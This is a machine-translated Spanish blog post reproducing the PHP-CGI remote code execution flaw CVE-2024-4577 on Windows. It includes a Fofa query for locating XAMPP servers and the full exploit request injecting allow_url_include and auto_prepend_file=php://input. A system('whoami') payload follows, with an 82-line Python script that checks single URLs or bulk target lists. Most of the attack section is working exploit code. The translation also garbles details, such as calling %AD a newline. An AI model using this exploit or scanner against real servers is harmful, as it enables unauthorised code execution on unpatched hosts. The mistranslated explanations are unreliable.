Compartir tecnología

[Recurrencia de vulnerabilidad] PHP-CGI——Mejor ajuste——Ejecución de código (CVE-2024-4577)

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

Descargo de responsabilidad: este documento o material de presentación tiene fines educativos y docentes únicamente. Cualquier persona u organización que utilice la información de este documento para actividades ilegales no tiene conexión con el autor o editor de este documento.


Descripción de la vulnerabilidad

PHP-CGI es una interfaz para ejecutar scripts PHP en un servidor web, conectando el intérprete PHP al servidor web a través de CGI (Common Gateway Interface). PHP está diseñado para ignorar la conversión de caracteres en WindowsBest-Fitcaracterística, cuando PHP-CGI se ejecuta en la plataforma Windows y utiliza los siguientes idiomas (chino simplificado 936/chino tradicional 950/japonés 932, etc.), el atacante puede crear solicitudes maliciosas para eludir el parche CVE-2012-1823 , para que el atacante pueda eludir el parche CVE-2012-1823 sin iniciar sesión. Ejecución de código PHP arbitrario.

Recurrencia de vulnerabilidad

1) Recopilación de información
Fofa:app="XAMPP"
Insertar descripción de la imagen aquí
Somos un grupo de miserables que siempre estamos luchando contra el peligro y la locura, pero también somos guardianes.
Insertar descripción de la imagen aquí
2) Construir paquete de datos

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host:ip

<?php echo "hello world!";?>
  • 1
  • 2
  • 3
  • 4

Explicación del código:

/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
  • 1

Esta carga útil es un vector de ataque de ejecución remota de comandos (RCE) PHP codificado en URL que explota las opciones de configuración PHP CGI para lograr la ejecución remota de código. La siguiente es una explicación detallada de la carga útil:

  1. /php-cgi/php-cgi.exe:

    • Esta es la ruta solicitada, que apunta al archivo ejecutable PHP CGI.php-cgi.exe . PHP CGI es un intérprete PHP independiente del servidor web, que normalmente se utiliza en la línea de comandos o se ejecuta como un script CGI.
  2. codificación de URL:

    • %ADes un carácter de nueva líneanUna forma de codificación de URL, que normalmente se utiliza para insertar nuevas líneas en las URL, que se puede utilizar para evitar el filtrado de entrada en algunos casos.
    • %3d=Formulario de codificación de URL, utilizado para asignar valores a variables.
  3. ?%ADd+cgi.force_redirect%3d0:

    • Intenta configurar aquícgi.force_redirect Un valor de 0 deshabilita el comportamiento de redirección de PHP CGI. Esto generalmente se usa para evitar que un script PHP salte automáticamente a la URL solicitada original después de la ejecución.
  4. +%ADd+cgi.redirect_status_env:

    • Esta parte puede ser el escenario.cgi.redirect_status_env , es una directiva en la configuración de PHP que se usa cuando PHP se ejecuta como un proceso CGI o FastCGI. .
  5. +allow_url_include%3d1:

    • Establecer aquíallow_url_include Un valor de 1 permite que los scripts PHP incluyan archivos de URL. Este es un riesgo potencial para la seguridad porque permite a un atacante incluir archivos remotos a través de la ruta del archivo pasada en la URL.
  6. +auto_prepend_file%3dphp://input:

    • configuraciónauto_prepend_fileparaphp://input . Esta opción de configuración permite la inclusión automática de un archivo antes de ejecutar el script PHP.Cuando se establece enphp://input , contendrá los datos enviados mediante la solicitud HTTP POST. Esto se puede utilizar para ejecutar código PHP arbitrario, ya que un atacante puede enviar código malicioso a través de una solicitud POST.

Al construir esta carga útil, el atacante intenta explotar las opciones de configuración PHP CGI para ejecutar código remoto.configurandoallow_url_includeyauto_prepend_file, un atacante puede enviar una solicitud POST que contenga código PHP, que se ejecutará automáticamente.

Insertar descripción de la imagen aquí
ecohello world, el código se analiza.
3) También se pueden realizar otras operaciones.
Ejecutando una orden

<?php system('whoami');?>
  • 1

Insertar descripción de la imagen aquí
Atención: ¡Miles de personas, no, no, no hagan cosas ilegales! ! !

herramientas de prueba

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '033[91m'
RESET = '033[0m'

# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,利用漏洞进行尝试
        attack_url = url.rstrip('/') + "//php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
        # 设置请求头信息
        headers = {
            'User-Agent': 'curl/8.3.0',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        # 设置请求体数据
        payload = "<?php echo '666666';?>"
        # 向服务器发送请求
        response = requests.post(attack_url, headers=headers, data=payload, verify=False, timeout=10)
        # 检查响应,如果状态码为200且响应体包含特定字符串,则判断为存在漏洞
        if response.status_code == 200 and '666666' in response.text:
            print(f"{RED}URL [{url}] 存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。{RESET}")
        else:
            print(f"URL [{url}] 未发现漏洞。")
    except RequestException as e:
        # 如果请求过程中发生异常,打印异常信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    解析命令行参数,根据参数执行漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)。')
    # 添加URL参数,指定目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,指定包含多个URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL,确保其以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82

Ejecutar captura de pantalla
Insertar descripción de la imagen aquí


El pequeño loto acaba de revelar sus esquinas afiladas y una libélula ya se ha posado sobre él.